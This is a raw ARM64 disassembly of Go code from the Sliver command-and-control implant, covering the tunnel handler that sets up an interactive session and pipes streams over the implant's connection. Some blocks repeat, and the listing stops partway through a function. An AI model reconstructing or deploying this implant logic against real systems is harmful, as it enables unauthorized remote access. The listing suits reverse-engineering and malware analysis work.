0041028cldp x0, x1, [sp+8]
00410290ldr x2, [sp+24]
00410294b 0x40fb20
00410298udf 0
0041029cudf 0
0040fb20
0040fb20github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive(github.com/bishopfox/sliver/protobuf/sliverpb.ExecWasmExtensionReq * req, github.com/bishopfox/sliver/implant/sliver/transports.Connection * conn, github.com/bishopfox/sliver/implant/sliver/extension.WasmExtension * wasm)
0040fb20ldr x16, [x28+16]
0040fb24sub x17, sp, 384
0040fb28subs xzr, x17, x16
0040fb2cb.ls 0x41027c
0040fb30sub x20, sp, 512
0040fb34stp x29, x30, [x20-8]
0040fb38add sp, x20, 0
0040fb3csub x29, sp, 8
0040fb40str x0, [sp+520]
0040fb44str x1, [sp+528]
0040fb48str x2, [sp+536]
0040fb4cstp xzr, xzr, [sp+120]
0040fb50str xzr, [sp+136]
0040fb54stp xzr, xzr, [sp+104]
0040fb58stp xzr, xzr, [sp+432]
0040fb5cadd x1, sp, 432
0040fb60str x1, [sp+328]
0040fb64ldr x1, [sp+520]
0040fb68ldrsb x27, [x1]
0040fb6cldr x0, [x1+64]
0040fb70str x0, [sp+96]
0040fb74bl runtime.convT64
0040fb78str x0, [sp+320]
0040fb7cldr x1, [sp+328]
0040fb80ldrsb x27, [x1]
0040fb84adrp x2, 0x1e6000
0040fb88add x2, x2, 3456
0040fb8cstr x2, [x1]
0040fb90adrp x27, 0x63c000
0040fb94ldr w2, [x27+3056]
0040fb98cbz w2, 0x40fba0
0040fb9cb 0x40fba4
0040fba0
0040fba0loc_40fba0:
0040fba0b 0x40fbb8
0040fba4
0040fba4loc_40fba4:
0040fba4bl runtime.gcWriteBarrier2
0040fba8str x0, [x25]
0040fbacldr x5, [x1+8]
0040fbb0str x5, [x25+8]
0040fbb4b 0x40fbb8
0040fbb8
0040fbb8loc_40fbb8:
0040fbb8str x0, [x1+8]
0040fbbcldr x2, [sp+328]
0040fbc0ldrsb x27, [x2]
0040fbc4b 0x40fbc8
0040fbc8
0040fbc8loc_40fbc8:
0040fbc8str x2, [sp+336]
0040fbccorr x4, xzr, 1
0040fbd0str x4, [sp+344]
0040fbd4str x4, [sp+352]
0040fbd8adrp x0, 0x2bc000
0040fbdcadd x0, x0, 1802
0040fbe0orr x1, xzr, 56
0040fbe4mov x3, x4
0040fbe8bl log.Printf
0040fbecadrp x0, 0x2ac000
0040fbf0add x0, x0, 3124
0040fbf4orr x1, xzr, 28
0040fbf8mov x2, xzr
0040fbfcmov x3, xzr
0040fc00mov x4, x3
0040fc04bl log.Printf
0040fc08adrp x0, 0x1f3000
0040fc0cadd x0, x0, 608
0040fc10bl runtime.newobject
0040fc14str x0, [sp+288]
0040fc18ldr x5, [sp+536]
0040fc1cldrsb x27, [x5]
0040fc20ldr x5, [x5+24]
0040fc24ldrsb x27, [x5]
0040fc28ldr x5, [x5]
0040fc2cadrp x6, 0x307000
0040fc30add x6, x6, 3192
0040fc34str x6, [x0]
0040fc38adrp x27, 0x63c000
0040fc3cldr w6, [x27+3056]
0040fc40cbz w6, 0x40fc48
0040fc44b 0x40fc4c
0040fc48
0040fc48loc_40fc48:
0040fc48b 0x40fc60
0040fc4c
0040fc4cloc_40fc4c:
0040fc4cbl runtime.gcWriteBarrier2
0040fc50str x5, [x25]
0040fc54ldr x6, [x0+8]
0040fc58str x6, [x25+8]
0040fc5cb 0x40fc60
0040fc60
0040fc60loc_40fc60:
0040fc60str x5, [x0+8]
0040fc64ldr x6, [sp+288]
0040fc68ldrsb x27, [x6]
0040fc6cb 0x40fc70
0040fc70
0040fc70loc_40fc70:
0040fc70str x6, [sp+296]
0040fc74orr x6, xzr, 1
0040fc78str x6, [sp+304]
0040fc7cstr x6, [sp+312]
0040fc80ldr x6, [sp+520]
0040fc84ldrsb x27, [x6]
0040fc88ldr x6, [x6+64]
0040fc8cstr x6, [sp+88]
0040fc90ldr x6, [sp+536]
0040fc94ldrsb x27, [x6]
0040fc98ldr x6, [x6+16]
0040fc9cldrsb x27, [x6]
0040fca0ldr x2, [x6+8]
0040fca4adrp x1, 0x307000
0040fca8add x1, x1, 3152
0040fcacstr x1, [sp+272]
0040fcb0str x2, [sp+280]
0040fcb4ldr x0, [sp+88]
0040fcb8ldr x3, [sp+296]
0040fcbcldr x4, [sp+304]
0040fcc0ldr x5, [sp+312]
0040fcc4bl github.com/bishopfox/sliver/implant/sliver/transports.NewTunnel
0040fcc8str x0, [sp+144]
0040fcccldr x6, [sp+528]
0040fcd0mov x1, x0
0040fcd4mov x0, x6
0040fcd8bl github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).AddTunnel
0040fcdcadrp x0, 0x23c000
0040fce0add x0, x0, 3776
0040fce4bl runtime.newobject
0040fce8str x0, [sp+264]
0040fcecadrp x6, 4096
0040fcf0add x6, x6, 2768
0040fcf4str x6, [x0]
0040fcf8ldr x6, [sp+144]
0040fcfcldr x7, [sp+264]
0040fd00ldrsb x27, [x7]
0040fd04adrp x27, 0x63c000
0040fd08ldr w8, [x27+3056]
0040fd0ccbz w8, 0x40fd14
0040fd10b 0x40fd18
0040fd14
0040fd14loc_40fd14:
0040fd14b 0x40fd2c
0040fd18
0040fd18loc_40fd18:
0040fd18bl runtime.gcWriteBarrier2
0040fd1cstr x6, [x25]
0040fd20ldr x1, [x7+8]
0040fd24str x1, [x25+8]
0040fd28b 0x40fd2c
0040fd2c
0040fd2cloc_40fd2c:
0040fd2cstr x6, [x7+8]
0040fd30ldr x1, [sp+528]
0040fd34ldr x2, [sp+264]
0040fd38ldrsb x27, [x2]
0040fd3cadrp x27, 0x63c000
0040fd40ldr w3, [x27+3056]
0040fd44cbz w3, 0x40fd4c
0040fd48b 0x40fd50
0040fd4c
0040fd4cloc_40fd4c:
0040fd4cb 0x40fd64
0040fd50
0040fd50loc_40fd50:
0040fd50bl runtime.gcWriteBarrier2
0040fd54str x1, [x25]
0040fd58ldr x3, [x2+16]
0040fd5cstr x3, [x25+8]
0040fd60b 0x40fd64
0040fd64
0040fd64loc_40fd64:
0040fd64str x1, [x2+16]
0040fd68ldr x1, [sp+264]
0040fd6cstr x1, [sp+168]
0040fd70adrp x0, 0x24d000
0040fd74add x0, x0, 1760
0040fd78bl runtime.newobject
0040fd7cstr x0, [sp+256]
0040fd80adrp x1, 4096
0040fd84add x1, x1, 1648
0040fd88str x1, [x0]
0040fd8cldr x1, [sp+536]
0040fd90ldr x2, [sp+256]
0040fd94ldrsb x27, [x2]
0040fd98adrp x27, 0x63c000
0040fd9cldr w3, [x27+3056]
0040fda0cbz w3, 0x40fda8
0040fda4b 0x40fdac
0040fda8
0040fda8loc_40fda8:
0040fda8b 0x40fdc0
0040fdac
0040fdacloc_40fdac:
0040fdacbl runtime.gcWriteBarrier2
0040fdb0str x1, [x25]
0040fdb4ldr x3, [x2+8]
0040fdb8str x3, [x25+8]
0040fdbcb 0x40fdc0
0040fdc0
0040fdc0loc_40fdc0:
0040fdc0str x1, [x2+8]
0040fdc4ldr x1, [sp+520]
0040fdc8ldr x2, [sp+256]
0040fdccldrsb x27, [x2]
0040fdd0adrp x27, 0x63c000
0040fdd4ldr w3, [x27+3056]
0040fdd8cbz w3, 0x40fde0
0040fddcb 0x40fde4
0040fde0
0040fde0loc_40fde0:
0040fde0b 0x40fdf8
0040fde4
0040fde4loc_40fde4:
0040fde4bl runtime.gcWriteBarrier2
0040fde8str x1, [x25]
0040fdecldr x3, [x2+16]
0040fdf0str x3, [x25+8]
0040fdf4b 0x40fdf8
0040fdf8
0040fdf8loc_40fdf8:
0040fdf8str x1, [x2+16]
0040fdfcldr x1, [sp+144]
0040fe00ldr x2, [sp+256]
0040fe04ldrsb x27, [x2]
0040fe08adrp x27, 0x63c000
0040fe0cldr w3, [x27+3056]
0040fe10cbz w3, 0x40fe18
0040fe14b 0x40fe1c
0040fe18
0040fe18loc_40fe18:
0040fe18b 0x40fe30
0040fe1c
0040fe1cloc_40fe1c:
0040fe1cbl runtime.gcWriteBarrier2
0040fe20str x1, [x25]
0040fe24ldr x3, [x2+24]
0040fe28str x3, [x25+8]
0040fe2cb 0x40fe30
0040fe30
0040fe30loc_40fe30:
0040fe30str x1, [x2+24]
0040fe34ldr x1, [sp+256]
0040fe38str x1, [sp+184]
0040fe3cadrp x0, 0x224000
0040fe40add x0, x0, 1216
0040fe44bl runtime.newobject
0040fe48str x0, [sp+248]
0040fe4cadrp x1, 4096
0040fe50add x1, x1, 1536
0040fe54str x1, [x0]
0040fe58ldr x1, [sp+184]
0040fe5cldr x2, [sp+248]
0040fe60ldrsb x27, [x2]
0040fe64adrp x27, 0x63c000
0040fe68ldr w3, [x27+3056]
0040fe6ccbz w3, 0x40fe74
0040fe70b 0x40fe78
0040fe74
0040fe74loc_40fe74:
0040fe74b 0x40fe8c
0040fe78
0040fe78loc_40fe78:
0040fe78bl runtime.gcWriteBarrier2
0040fe7cstr x1, [x25]
0040fe80ldr x3, [x2+8]
0040fe84str x3, [x25+8]
0040fe88b 0x40fe8c
0040fe8c
0040fe8cloc_40fe8c:
0040fe8cstr x1, [x2+8]
0040fe90ldr x0, [sp+248]
0040fe94bl runtime.newproc
0040fe98adrp x0, 0x2b6000
0040fe9cadd x0, x0, 3956
0040fea0movz x1, 43
0040fea4mov x2, xzr
0040fea8mov x3, xzr
0040feacmov x4, x3
0040feb0bl log.Printf
0040feb4ldr x1, [sp+144]
0040feb8ldrsb x27, [x1]
0040febcldr x2, [x1+16]
0040fec0ldr x3, [x1+8]
0040fec4ldr x1, [x1+24]
0040fec8str x3, [sp+408]
0040feccstr x2, [sp+416]
0040fed0str x1, [sp+424]
0040fed4str xzr, [sp+80]
0040fed8str x2, [sp+72]
0040fedcldr x1, [sp+408]
0040fee0str x1, [sp+64]
0040fee4b 0x40fee8
0040fee8
0040fee8loc_40fee8:
0040fee8ldr x1, [sp+72]
0040feecldr x2, [sp+80]
0040fef0subs xzr, x1, x2
0040fef4b.gt 0x40fefc
0040fef8b 0x4100bc
0040fefc
0040fefcloc_40fefc:
0040fefcldr x1, [sp+64]
0040ff00str x1, [sp+240]
0040ff04ldr x1, [sp+240]
0040ff08ldr x2, [x1+8]
0040ff0cldr x1, [x1]
0040ff10str x1, [sp+152]
0040ff14str x2, [sp+160]
0040ff18cbnz x1, 0x40ff20
0040ff1cb 0x41009c
0040ff20
0040ff20loc_40ff20:
0040ff20adrp x0, 0x24d000
0040ff24add x0, x0, 1952
0040ff28bl runtime.newobject
0040ff2cstr x0, [sp+232]
0040ff30adrp x1, 4096
0040ff34add x1, x1, 800
0040ff38str x1, [x0]
0040ff3cldr x1, [sp+528]
0040ff40ldr x2, [sp+232]
0040ff44ldrsb x27, [x2]
0040ff48adrp x27, 0x63c000
0040ff4cldr w3, [x27+3056]
0040ff50cbz w3, 0x40ff58
0040ff54b 0x40ff5c
0040ff58
0040ff58loc_40ff58:
0040ff58b 0x40ff70
0040ff5c
0040ff5cloc_40ff5c:
0040ff5cbl runtime.gcWriteBarrier2
0040ff60str x1, [x25]
0040ff64ldr x3, [x2+8]
0040ff68str x3, [x25+8]
0040ff6cb 0x40ff70
0040ff70
0040ff70loc_40ff70:
0040ff70str x1, [x2+8]
0040ff74ldr x1, [sp+144]
0040ff78ldr x2, [sp+232]
0040ff7cldrsb x27, [x2]
0040ff80adrp x27, 0x63c000
0040ff84ldr w3, [x27+3056]
0040ff88cbz w3, 0x40ff90
0040ff8cb 0x40ff94
0040ff90
0040ff90loc_40ff90:
0040ff90b 0x40ffa8
0040ff94
0040ff94loc_40ff94:
0040ff94bl runtime.gcWriteBarrier2
0040ff98str x1, [x25]
0040ff9cldr x3, [x2+16]
0040ffa0str x3, [x25+8]
0040ffa4b 0x40ffa8
0040ffa8
0040ffa8loc_40ffa8:
0040ffa8str x1, [x2+16]
0040ffacldr x1, [sp+168]
0040ffb0ldr x2, [sp+232]
0040ffb4ldrsb x27, [x2]
0040ffb8adrp x27, 0x63c000
0040ffbcldr w3, [x27+3056]
0040ffc0cbz w3, 0x40ffc8
0040ffc4b 0x40ffcc
0040ffc8
0040ffc8loc_40ffc8:
0040ffc8b 0x40ffe0
0040ffcc
0040ffccloc_40ffcc:
0040ffccbl runtime.gcWriteBarrier2
0040ffd0str x1, [x25]
0040ffd4ldr x3, [x2+24]
0040ffd8str x3, [x25+8]
0040ffdcb 0x40ffe0
0040ffe0
0040ffe0loc_40ffe0:
0040ffe0str x1, [x2+24]
0040ffe4ldr x1, [sp+232]
0040ffe8str x1, [sp+176]
0040ffecldr x1, [sp+152]
0040fff0ldr x2, [sp+160]
0040fff4str x1, [sp+488]
0040fff8str x2, [sp+496]
0040fffcadrp x0, 0x23c000
00410000add x0, x0, 3936
00410004bl runtime.newobject
00410008str x0, [sp+224]
0041000cadrp x1, 0
00410010add x1, x1, 672
00410014str x1, [x0]
00410018ldr x1, [sp+176]
0041001cldr x2, [sp+224]
00410020ldrsb x27, [x2]
00410024adrp x27, 0x63b000
00410028ldr w3, [x27+3056]
0041002ccbz w3, 0x410034
00410030b 0x410038
00410034
00410034loc_410034:
00410034b 0x41004c
00410038
00410038loc_410038:
00410038bl runtime.gcWriteBarrier2
0041003cstr x1, [x25]
00410040ldr x3, [x2+8]
00410044str x3, [x25+8]
00410048b 0x41004c
0041004c
0041004cloc_41004c:
0041004cstr x1, [x2+8]
00410050ldr x1, [sp+496]
00410054ldr x2, [sp+488]
00410058ldr x3, [sp+224]
0041005cldrsb x27, [x3]
00410060str x2, [x3+16]
00410064adrp x27, 0x63b000
00410068ldr w2, [x27+3056]
0041006ccbz w2, 0x410074
00410070b 0x410078
00410074
00410074loc_410074:
00410074b 0x41008c
00410078
00410078loc_410078:
00410078bl runtime.gcWriteBarrier2
0041007cstr x1, [x25]
00410080ldr x2, [x3+24]
00410084str x2, [x25+8]
00410088b 0x41008c
0041008c
0041008cloc_41008c:
0041008cstr x1, [x3+24]
00410090ldr x0, [sp+224]
00410094bl runtime.newproc
00410098b 0x4100a0
0041009c
0041009cloc_41009c:
0041009cb 0x4100a0
004100a0
004100a0loc_4100a0:
004100a0ldr x1, [sp+80]
004100a4add x1, x1, 1
004100a8str x1, [sp+80]
004100acldr x1, [sp+240]
004100b0add x1, x1, 16
004100b4str x1, [sp+64]
004100b8b 0x40fee8
004100bc
004100bcloc_4100bc:
004100bcadrp x0, 0x275000
004100c0add x0, x0, 480
004100c4bl runtime.newobject
004100c8str x0, [sp+216]
004100ccadrp x27, 0x63b000
004100d0ldr w1, [x27+3056]
004100d4cbz w1, 0x4100dc
004100d8b 0x4100e0
004100dc
004100dcloc_4100dc:
004100dcb 0x4100fc
004100e0
004100e0loc_4100e0:
004100e0str x0, [sp+200]
004100e4mov x1, x0
004100e8adrp x0, 0x275000
004100ecadd x0, x0, 480
004100f0bl runtime.wbZero
004100f4ldr x0, [sp+200]
004100f8b 0x4100fc
004100fc
004100fcloc_4100fc:
004100fcmov x20, x0
00410100adr x27, 16
00410104stp x29, x27, [sp-24]
00410108sub x29, sp, 24
0041010cbl fn_87cf8
00410110sub x29, sp, 8
00410114str xzr, [x0+96]
00410118adrp x0, 0x275000
0041011cadd x0, x0, 3648
00410120bl runtime.newobject
00410124str x0, [sp+208]
00410128adrp x27, 0x63b000
0041012cldr w1, [x27+3056]
00410130cbz w1, 0x410138
00410134b 0x41013c
00410138
00410138loc_410138:
00410138b 0x410158
0041013c
0041013cloc_41013c:
0041013cstr x0, [sp+192]
00410140mov x1, x0
00410144adrp x0, 0x275000
00410148add x0, x0, 3648
0041014cbl runtime.wbZero
00410150ldr x0, [sp+192]
00410154b 0x410158
00410158
00410158loc_410158:
00410158mov x20, x0
0041015cadr x27, 16
00410160stp x29, x27, [sp-24]
00410164sub x29, sp, 24
00410168bl fn_87cf8
0041016csub x29, sp, 8
00410170ldr x2, [sp+208]
00410174ldrsb x27, [x2]
00410178str xzr, [x2+16]
0041017cadrp x27, 0x63b000
00410180ldr w3, [x27+3056]
00410184cbz w3, 0x41018c
00410188b 0x410190
0041018c
0041018cloc_41018c:
0041018cb 0x4101a0
00410190
00410190loc_410190:
00410190ldr x3, [x2+8]
00410194bl runtime.gcWriteBarrier1
00410198str x3, [x25]
0041019cb 0x4101a0
004101a0
004101a0loc_4101a0:
004101a0str xzr, [x2+8]
004101a4ldr x2, [sp+216]
004101a8ldrsb x27, [x2]
004101acldr x3, [sp+208]
004101b0adrp x27, 0x63b000
004101b4ldr w4, [x27+3056]
004101b8cbz w4, 0x4101c0
004101bcb 0x4101c4
004101c0
004101c0loc_4101c0:
004101c0b 0x4101d8
004101c4
004101c4loc_4101c4:
004101c4bl runtime.gcWriteBarrier2
004101c8str x3, [x25]
004101ccldr x4, [x2+64]
004101d0str x4, [x25+8]
004101d4b 0x4101d8
004101d8
004101d8loc_4101d8:
004101d8str x3, [x2+64]
004101dcldr x2, [sp+216]
004101e0str x2, [sp+400]
004101e4stp xzr, xzr, [sp+376]
004101e8str xzr, [sp+392]
004101ecstp xzr, xzr, [sp+360]
004101f0ldr x1, [sp+400]
004101f4adrp x0, 0x304000
004101f8add x0, x0, 3296
004101fcbl google.golang.org/protobuf/proto.Marshal
00410200str x0, [sp+376]
00410204str x1, [sp+384]
00410208str x2, [sp+392]
0041020cstr x3, [sp+360]
00410210str x4, [sp+368]
00410214ldr x2, [sp+376]
00410218ldr x3, [sp+384]
0041021cldr x4, [sp+392]
00410220str x2, [sp+464]
00410224str x3, [sp+472]
00410228str x4, [sp+480]
0041022cldr x2, [sp+360]
00410230ldr x3, [sp+368]
00410234str x2, [sp+448]
00410238str x3, [sp+456]
0041023cldr x2, [sp+464]
00410240ldr x3, [sp+472]
00410244ldr x4, [sp+480]
00410248str x2, [sp+120]
0041024cstr x3, [sp+128]
00410250str x4, [sp+136]
00410254ldr x3, [sp+448]
00410258ldr x4, [sp+456]
0041025cstr x3, [sp+104]
00410260str x4, [sp+112]
00410264ldr x0, [sp+120]
00410268ldr x1, [sp+128]
0041026cldr x2, [sp+136]
00410270ldp x29, x30, [sp-8]
00410274add sp, sp, 512
00410278ret x30
0041027c
0041027cloc_41027c:
0041027cstp x0, x1, [sp+8]
00410280str x2, [sp+24]
00410284mov x3, x30
00410288bl runtime.morestack_noctxt.abi0
0041028cldp x0, x1, [sp+8]
00410290ldr x2, [sp+24]
00410294b 0x40fb20
00410298udf 0
0041029cudf 0
0040fb20
004102a0
004102a0github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.gowrap2: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.gowrap2(void)
004102a0ldr x16, [x28+16]
004102a4subs xzr, sp, x16
004102a8b.ls 0x4102f0
004102acstr x30, [sp-64]!
004102b0stur x29, [sp-8]
004102b4sub x29, sp, 8
004102b8ldr x16, [x28+32]
004102bccbnz x16, 0x4102fc
004102c0
004102c0loc_4102c0:
004102c0ldr x2, [x26+8]
004102c4str x2, [sp+32]
004102c8ldr x0, [x26+16]
004102ccldr x1, [x26+24]
004102d0str x0, [sp+40]
004102d4str x1, [sp+48]
004102d8ldr x26, [sp+32]
004102dcldr x2, [x26]
004102e0blr x2
004102e4ldur x29, [sp-8]
004102e8ldr x30, [sp], 64
004102ecret x30
004102f0
004102f0loc_4102f0:
004102f0mov x3, x30
004102f4bl runtime.morestack.abi0
004102f8b 0x4102a0
004102fc
004102fcloc_4102fc:
004102fcldr x17, [x16]
00410300add x20, sp, 72
00410304subs xzr, x20, x17
00410308b.ne 0x4102c0
0041030cadd x20, sp, 8
00410310str x20, [x16]
00410314b 0x4102c0
00410318udf 0
0041031cudf 0
004102a0
004102a0github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.gowrap2: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.gowrap2(void)
004102a0ldr x16, [x28+16]
004102a4subs xzr, sp, x16
004102a8b.ls 0x4102f0
004102acstr x30, [sp-64]!
004102b0stur x29, [sp-8]
004102b4sub x29, sp, 8
004102b8ldr x16, [x28+32]
004102bccbnz x16, 0x4102fc
004102c0
004102c0loc_4102c0:
004102c0ldr x2, [x26+8]
004102c4str x2, [sp+32]
004102c8ldr x0, [x26+16]
004102ccldr x1, [x26+24]
004102d0str x0, [sp+40]
004102d4str x1, [sp+48]
004102d8ldr x26, [sp+32]
004102dcldr x2, [x26]
004102e0blr x2
004102e4ldur x29, [sp-8]
004102e8ldr x30, [sp], 64
004102ecret x30
004102f0
004102f0loc_4102f0:
004102f0mov x3, x30
004102f4bl runtime.morestack.abi0
004102f8b 0x4102a0
004102fc
004102fcloc_4102fc:
004102fcldr x17, [x16]
00410300add x20, sp, 72
00410304subs xzr, x20, x17
00410308b.ne 0x4102c0
0041030cadd x20, sp, 8
00410310str x20, [x16]
00410314b 0x4102c0
00410318udf 0
0041031cudf 0
004102a0
00410320
00410320github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.func3: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.func3(io.ReadCloser stream)
00410320ldr x16, [x28+16]
00410324sub x17, sp, 208
00410328subs xzr, x17, x16
0041032cb.ls 0x4105e0
00410330sub x20, sp, 336
00410334stp x29, x30, [x20-8]
00410338add sp, x20, 0
0041033csub x29, sp, 8
00410340str x0, [sp+344]
00410344str x1, [sp+352]
00410348ldr x2, [x26+8]
0041034cstr x2, [sp+104]
00410350ldr x2, [x26+16]
00410354str x2, [sp+64]
00410358ldr x2, [x26+24]
0041035cstr x2, [sp+112]
00410360stp xzr, xzr, [sp+72]
00410364ldr x2, [sp+104]
00410368str x2, [sp+80]
0041036cldr x3, [sp+64]
00410370str x3, [sp+72]
00410374str x3, [sp+192]
00410378str x2, [sp+200]
0041037cstp xzr, xzr, [sp+160]
00410380stp xzr, xzr, [sp+176]
00410384add x2, sp, 160
00410388str x2, [sp+320]
0041038cldr x2, [sp+200]
00410390ldr x3, [sp+192]
00410394str x3, [sp+304]
00410398str x2, [sp+312]
0041039cadrp x0, 0x23e000
004103a0add x0, x0, 928
004103a4add x1, sp, 304
004103a8bl runtime.convT
004103acstr x0, [sp+296]
004103b0ldr x2, [sp+320]
004103b4ldrsb x27, [x2]
004103b8adrp x3, 0x23e000
004103bcadd x3, x3, 928
004103c0str x3, [x2]
004103c4adrp x27, 0x63b000
004103c8ldr w3, [x27+3056]
004103cccbz w3, 0x4103d4
004103d0b 0x4103d8
004103d4
004103d4loc_4103d4:
004103d4b 0x4103ec
004103d8
004103d8loc_4103d8:
004103d8bl runtime.gcWriteBarrier2
004103dcstr x0, [x25]
004103e0ldr x5, [x2+8]
004103e4str x5, [x25+8]
004103e8b 0x4103ec
004103ec
004103ecloc_4103ec:
004103ecstr x0, [x2+8]
004103f0ldr x5, [sp+344]
004103f4ldr x6, [sp+352]
004103f8str x5, [sp+280]
004103fcstr x6, [sp+288]
00410400str x5, [sp+272]
00410404ldr x5, [sp+272]
00410408cbnz x5, 0x410410
0041040cb 0x410420
00410410
00410410loc_410410:
00410410ldr x5, [sp+272]
00410414ldr x5, [x5+8]
00410418str x5, [sp+272]
0041041cb 0x410424
00410420
00410420loc_410420:
00410420b 0x410424
00410424
00410424loc_410424:
00410424ldr x5, [sp+320]
00410428ldrsb x27, [x5]
0041042cldr x6, [sp+288]
00410430ldr x7, [sp+272]
00410434str x7, [x5+16]
00410438adrp x27, 0x63b000
0041043cldr w7, [x27+3056]
00410440cbz w7, 0x410448
00410444b 0x41044c
00410448
00410448loc_410448:
00410448b 0x410460
0041044c
0041044cloc_41044c:
0041044cbl runtime.gcWriteBarrier2
00410450str x6, [x25]
00410454ldr x7, [x5+24]
00410458str x7, [x25+8]
0041045cb 0x410460
00410460
00410460loc_410460:
00410460str x6, [x5+24]
00410464ldr x2, [sp+320]
00410468ldrsb x27, [x2]
0041046cb 0x410470
00410470
00410470loc_410470:
00410470str x2, [sp+120]
00410474orr x4, xzr, 2
00410478str x4, [sp+128]
0041047cstr x4, [sp+136]
00410480adrp x0, 0x2ac000
00410484add x0, x0, 2164
00410488movz x1, 29
0041048cmov x3, x4
00410490bl log.Printf
00410494ldr x5, [sp+72]
00410498ldr x6, [sp+80]
0041049cstr x5, [sp+192]
004104a0str x6, [sp+200]
004104a4stp xzr, xzr, [sp+144]
004104a8adrp x0, 0x23e000
004104acadd x0, x0, 928
004104b0add x1, sp, 192
004104b4bl runtime.convT
004104b8str x0, [sp+264]
004104bcldr x3, [sp+352]
004104c0ldr x5, [sp+344]
004104c4str x5, [sp+248]
004104c8str x3, [sp+256]
004104cccbnz x5, 0x4104d4
004104d0b 0x4104f4
004104d4
004104d4loc_4104d4:
004104d4str x3, [sp+224]
004104d8ldr x1, [x5+8]
004104dcadrp x0, 0x5fe000
004104e0add x0, x0, 1936
004104e4bl runtime.typeAssert
004104e8ldr x3, [sp+224]
004104ecmov x5, x0
004104f0b 0x4104f8
004104f4
004104f4loc_4104f4:
004104f4b 0x4104f8
004104f8
004104f8loc_4104f8:
004104f8str x5, [sp+232]
004104fcstr x3, [sp+240]
00410500ldr x1, [sp+264]
00410504adrp x0, 0x305000
00410508add x0, x0, 1280
0041050cmov x2, x5
00410510bl io.Copy
00410514str x0, [sp+48]
00410518str x1, [sp+144]
0041051cstr x2, [sp+152]
00410520ldr x4, [sp+48]
00410524str x4, [sp+56]
00410528str x1, [sp+208]
0041052cstr x2, [sp+216]
00410530str x1, [sp+88]
00410534str x2, [sp+96]
00410538cbnz x1, 0x410540
0041053cb 0x41056c
00410540
00410540loc_410540:
00410540ldr x26, [sp+112]
00410544ldr x4, [x26]
00410548adrp x0, 0x2a1000
0041054cadd x0, x0, 1428
00410550mov x3, x2
00410554mov x2, x1
00410558orr x1, xzr, 8
0041055cblr x4
00410560ldp x29, x30, [sp-8]
00410564add sp, sp, 336
00410568ret x30
0041056c
0041056cloc_41056c:
0041056cadrp x27, 0x611000
00410570ldr x3, [x27+1520]
00410574subs xzr, x1, x3
00410578b.eq 0x410580
0041057cb 0x4105d0
00410580
00410580loc_410580:
00410580adrp x27, 0x611000
00410584ldr x3, [x27+1528]
00410588mov x0, x1
0041058cmov x1, x2
00410590mov x2, x3
00410594bl runtime.ifaceeq
00410598tbnz w0, 0, 0x4105a0
0041059cb 0x4105cc
004105a0
004105a0loc_4105a0:
004105a0ldr x2, [sp+88]
004105a4ldr x3, [sp+96]
004105a8ldr x26, [sp+112]
004105acldr x4, [x26]
004105b0adrp x0, 0x2a0000
004105b4add x0, x0, 477
004105b8orr x1, xzr, 3
004105bcblr x4
004105c0ldp x29, x30, [sp-8]
004105c4add sp, sp, 336
004105c8ret x30
004105cc
004105ccloc_4105cc:
004105ccb 0x4105d4
004105d0
004105d0loc_4105d0:
004105d0b 0x4105d4
004105d4
004105d4loc_4105d4:
004105d4ldp x29, x30, [sp-8]
004105d8add sp, sp, 336
004105dcret x30
004105e0
004105e0loc_4105e0:
004105e0stp x0, x1, [sp+8]
004105e4mov x3, x30
004105e8bl runtime.morestack.abi0
004105ecldp x0, x1, [sp+8]
004105f0b 0x410320
004105f4udf 0
004105f8udf 0
004105fcudf 0
00410320
00410320github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.func3: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.func3(io.ReadCloser stream)
00410320ldr x16, [x28+16]
00410324sub x17, sp, 208
00410328subs xzr, x17, x16
0041032cb.ls 0x4105e0
00410330sub x20, sp, 336
00410334stp x29, x30, [x20-8]
00410338add sp, x20, 0
0041033csub x29, sp, 8
00410340str x0, [sp+344]
00410344str x1, [sp+352]
00410348ldr x2, [x26+8]
0041034cstr x2, [sp+104]
00410350ldr x2, [x26+16]
00410354str x2, [sp+64]
00410358ldr x2, [x26+24]
0041035cstr x2, [sp+112]
00410360stp xzr, xzr, [sp+72]
00410364ldr x2, [sp+104]
00410368str x2, [sp+80]
0041036cldr x3, [sp+64]
00410370str x3, [sp+72]
00410374str x3, [sp+192]
00410378str x2, [sp+200]
0041037cstp xzr, xzr, [sp+160]
00410380stp xzr, xzr, [sp+176]
00410384add x2, sp, 160
00410388str x2, [sp+320]
0041038cldr x2, [sp+200]
00410390ldr x3, [sp+192]
00410394str x3, [sp+304]
00410398str x2, [sp+312]
0041039cadrp x0, 0x23e000
004103a0add x0, x0, 928
004103a4add x1, sp, 304
004103a8bl runtime.convT
004103acstr x0, [sp+296]
004103b0ldr x2, [sp+320]
004103b4ldrsb x27, [x2]
004103b8adrp x3, 0x23e000
004103bcadd x3, x3, 928
004103c0str x3, [x2]
004103c4adrp x27, 0x63b000
004103c8ldr w3, [x27+3056]
004103cccbz w3, 0x4103d4
004103d0b 0x4103d8
004103d4
004103d4loc_4103d4:
004103d4b 0x4103ec
004103d8
004103d8loc_4103d8:
004103d8bl runtime.gcWriteBarrier2
004103dcstr x0, [x25]
004103e0ldr x5, [x2+8]
004103e4str x5, [x25+8]
004103e8b 0x4103ec
004103ec
004103ecloc_4103ec:
004103ecstr x0, [x2+8]
004103f0ldr x5, [sp+344]
004103f4ldr x6, [sp+352]
004103f8str x5, [sp+280]
004103fcstr x6, [sp+288]
00410400str x5, [sp+272]
00410404ldr x5, [sp+272]
00410408cbnz x5, 0x410410
0041040cb 0x410420
00410410
00410410loc_410410:
00410410ldr x5, [sp+272]
00410414ldr x5, [x5+8]
00410418str x5, [sp+272]
0041041cb 0x410424
00410420
00410420loc_410420:
00410420b 0x410424
00410424
00410424loc_410424:
00410424ldr x5, [sp+320]
00410428ldrsb x27, [x5]
0041042cldr x6, [sp+288]
00410430ldr x7, [sp+272]
